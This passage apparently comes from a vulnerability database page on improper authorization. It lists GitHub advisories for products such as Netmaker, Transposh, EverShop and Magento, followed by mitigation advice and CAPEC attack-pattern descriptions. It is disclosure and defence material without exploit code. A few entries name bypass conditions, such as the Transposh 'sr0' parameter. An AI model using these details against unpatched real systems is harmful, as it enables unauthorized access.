"severity": "HIGH"
},
"details": "### Impact\nImproper Authorization functions leads to non-privileged users running privileged API calls. If you have added users to your Netmaker platform who whould not have admin privileges, they could use their auth token to run admin-level functions via the API.\n\nIn addition, differing response codes based on function calls allowed non-users to potentially brute force the determination of names of networks on the system.\n\n### Patches\nThis problem has been patched in v0.15.1. To apply:\n\n1. docker-compose down\n2. docker pull gravitl/netmaker:v0.15.1\n3. docker-compose up -d\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nEmail us at [info@netmaker.io](mailto:info@netmaker.io)\nThis vulnerability was brought to our attention by @tweidinger",
"id": "GHSA-ggf6-638m-vqmg",
"modified": "2023-06-27T22:21:05Z",
"published": "2022-09-15T03:34:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gravitl/netmaker/security/advisories/GHSA-ggf6-638m-vqmg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36110"
},
{
"type": "PACKAGE",
"url": "https://github.com/gravitl/netmaker"
},
{
"type": "WEB",
"url": "https://github.com/gravitl/netmaker/releases/tag/v0.15.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netmaker vulnerable to Insufficient Granularity of Access Control"
}
GHSA-GGF6-W57C-2RJ4
Vulnerability from github – Published: 2022-12-15 21:30 – Updated: 2026-04-08 21:31The Transposh WordPress Translation plugin for WordPress is vulnerable to unauthorized setting changes by unauthenticated users in versions up to, and including, 1.0.8.1. This is due to insufficient validation of settings on the 'tp_translation' AJAX action which makes it possible for unauthenticated attackers to bypass any restrictions and influence the data shown on the site. Please note this is a separate issue from CVE-2022-2461. Notes from the researcher: When installed Transposh comes with a set of pre-configured options, one of these is the "Who can translate" setting under the "Settings" tab. However, this option is largely ignored, if Transposh has enabled its "autotranslate" feature (it's enabled by default) and the HTTP POST parameter "sr0" is larger than 0. This is caused by a faulty validation in "wp/transposh_db.php."
{
"affected": [],
"aliases": [
"CVE-2022-2536"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-15T19:15:00Z",
"severity": "HIGH"
},
"details": "The Transposh WordPress Translation plugin for WordPress is vulnerable to unauthorized setting changes by unauthenticated users in versions up to, and including, 1.0.8.1. This is due to insufficient validation of settings on the \u0027tp_translation\u0027 AJAX action which makes it possible for unauthenticated attackers to bypass any restrictions and influence the data shown on the site. Please note this is a separate issue from CVE-2022-2461. Notes from the researcher: When installed Transposh comes with a set of pre-configured options, one of these is the \"Who can translate\" setting under the \"Settings\" tab. However, this option is largely ignored, if Transposh has enabled its \"autotranslate\" feature (it\u0027s enabled by default) and the HTTP POST parameter \"sr0\" is larger than 0. This is caused by a faulty validation in \"wp/transposh_db.php.\"",
"id": "GHSA-ggf6-w57c-2rj4",
"modified": "2026-04-08T21:31:46Z",
"published": "2022-12-15T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2536"
},
{
"type": "WEB",
"url": "https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2022-2536.txt"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/168120/wptransposh1081-authz.txt"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/transposh-translation-filter-for-wordpress/trunk/transposh.php?rev=2682425#L1989"
},
{
"type": "WEB",
"url": "https://www.exploitalert.com/view-details.html?id=38949"
},
{
"type": "WEB",
"url": "https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c774b520-9d9f-4102-8564-49673d5ae1e6"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c774b520-9d9f-4102-8564-49673d5ae1e6?source=cve"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/vulnerability-advisories-continued/#CVE-2022-2536"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GGPM-9QFX-MHWG
Vulnerability from github – Published: 2024-01-13 03:30 – Updated: 2024-07-26 21:37Lack of authentication in NPM's package @evershop/evershop before version 1.0.0-rc.9, allows remote attackers to obtain sensitive information via improper authorization in GraphQL endpoints.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@evershop/evershop"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0-rc.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46942"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-16T16:37:00Z",
"nvd_published_at": "2024-01-13T02:15:07Z",
"severity": "HIGH"
},
"details": "Lack of authentication in NPM\u0027s package @evershop/evershop before version 1.0.0-rc.9, allows remote attackers to obtain sensitive information via improper authorization in GraphQL endpoints.",
"id": "GHSA-ggpm-9qfx-mhwg",
"modified": "2024-07-26T21:37:07Z",
"published": "2024-01-13T03:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46942"
},
{
"type": "WEB",
"url": "https://github.com/evershopcommerce/evershop/commit/6e16f046e0b95efa16431a5ea41c22215273e9dd"
},
{
"type": "WEB",
"url": "https://advisory.checkmarx.net/advisory/CVE-2023-46942"
},
{
"type": "WEB",
"url": "https://devhub.checkmarx.com/cve-details/CVE-2023-46942"
},
{
"type": "WEB",
"url": "https://devhub.checkmarx.com/cve-details/Cx00cea2d5-d2c5"
},
{
"type": "PACKAGE",
"url": "https://github.com/evershopcommerce/evershop"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "EverShop vulnerable to improper authorization in GraphQL endpoints"
}
GHSA-GHM8-G3HR-5G26
Vulnerability from github – Published: 2024-02-13 18:38 – Updated: 2024-02-13 18:38Microsoft Outlook Elevation of Privilege Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-21402"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-13T18:15:58Z",
"severity": "HIGH"
},
"details": "Microsoft Outlook Elevation of Privilege Vulnerability",
"id": "GHSA-ghm8-g3hr-5g26",
"modified": "2024-02-13T18:38:24Z",
"published": "2024-02-13T18:38:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21402"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21402"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GHRW-X6CV-MR95
Vulnerability from github – Published: 2023-09-27 15:30 – Updated: 2023-09-27 15:30Sensitive information disclosure and manipulation due to improper authorization. The following products are affected: Acronis Cyber Protect 15 (Linux, Windows) before build 35979.
{
"affected": [],
"aliases": [
"CVE-2023-44154"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-639",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-27T15:19:37Z",
"severity": "LOW"
},
"details": "Sensitive information disclosure and manipulation due to improper authorization. The following products are affected: Acronis Cyber Protect 15 (Linux, Windows) before build 35979.",
"id": "GHSA-ghrw-x6cv-mr95",
"modified": "2023-09-27T15:30:39Z",
"published": "2023-09-27T15:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44154"
},
{
"type": "WEB",
"url": "https://security-advisory.acronis.com/advisories/SEC-2436"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GHV2-R5WC-GHQQ
Vulnerability from github – Published: 2026-09-13 12:31 – Updated: 2026-09-13 12:31A vulnerability was identified in PHPGurukul Bank Locker Management System 1.0. This affects an unknown function of the file /blms/view-assign-locker.php. The manipulation of the argument ltid leads to authorization bypass. The attack may be initiated remotely. The exploit is publicly available and might be used.
{
"affected": [],
"aliases": [
"CVE-2026-90517"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-13T12:17:16Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in PHPGurukul Bank Locker Management System 1.0. This affects an unknown function of the file /blms/view-assign-locker.php. The manipulation of the argument ltid leads to authorization bypass. The attack may be initiated remotely. The exploit is publicly available and might be used.",
"id": "GHSA-ghv2-r5wc-ghqq",
"modified": "2026-09-13T12:31:12Z",
"published": "2026-09-13T12:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90517"
},
{
"type": "WEB",
"url": "https://github.com/wakakakaaaaha/vuln/issues/2"
},
{
"type": "WEB",
"url": "https://phpgurukul.com"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-90517"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/912139"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/403104"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/403104/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GJ39-FCFM-V6W8
Vulnerability from github – Published: 2023-05-12 00:30 – Updated: 2024-04-04 04:02An improper authorization vulnerability exists in Rocket.Chat <6.0 that could allow a hacker to manipulate the rid parameter and change the updateMessage method that only checks whether the user is allowed to edit message in the target room.
{
"affected": [],
"aliases": [
"CVE-2023-28325"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-287",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-11T22:15:09Z",
"severity": "MODERATE"
},
"details": "An improper authorization vulnerability exists in Rocket.Chat \u003c6.0 that could allow a hacker to manipulate the rid parameter and change the updateMessage method that only checks whether the user is allowed to edit message in the target room.",
"id": "GHSA-gj39-fcfm-v6w8",
"modified": "2024-04-04T04:02:58Z",
"published": "2023-05-12T00:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28325"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1406479"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GJ93-84G5-MCJQ
Vulnerability from github – Published: 2024-08-14 12:35 – Updated: 2025-10-23 22:22Magento versions 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9 and earlier are affected by an Improper Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and disclose minor information. Exploitation of this issue does not require user interaction.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "magento/project-community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.7-beta1"
},
{
"fixed": "2.4.7-p2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.6-p1"
},
{
"fixed": "2.4.6-p7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.5-p1"
},
{
"fixed": "2.4.5-p9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.4-p10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.4"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.5"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.6"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.7"
]
}
],
"aliases": [
"CVE-2024-39415"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-23T22:22:59Z",
"nvd_published_at": "2024-08-14T12:15:28Z",
"severity": "MODERATE"
},
"details": "Magento versions 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9 and earlier are affected by an Improper Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and disclose minor information. Exploitation of this issue does not require user interaction.",
"id": "GHSA-gj93-84g5-mcjq",
"modified": "2025-10-23T22:22:59Z",
"published": "2024-08-14T12:35:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39415"
},
{
"type": "PACKAGE",
"url": "https://github.com/magento/magento2"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/magento/apsb24-61.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Magento Improper Authorization Leading to Security feature bypass"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.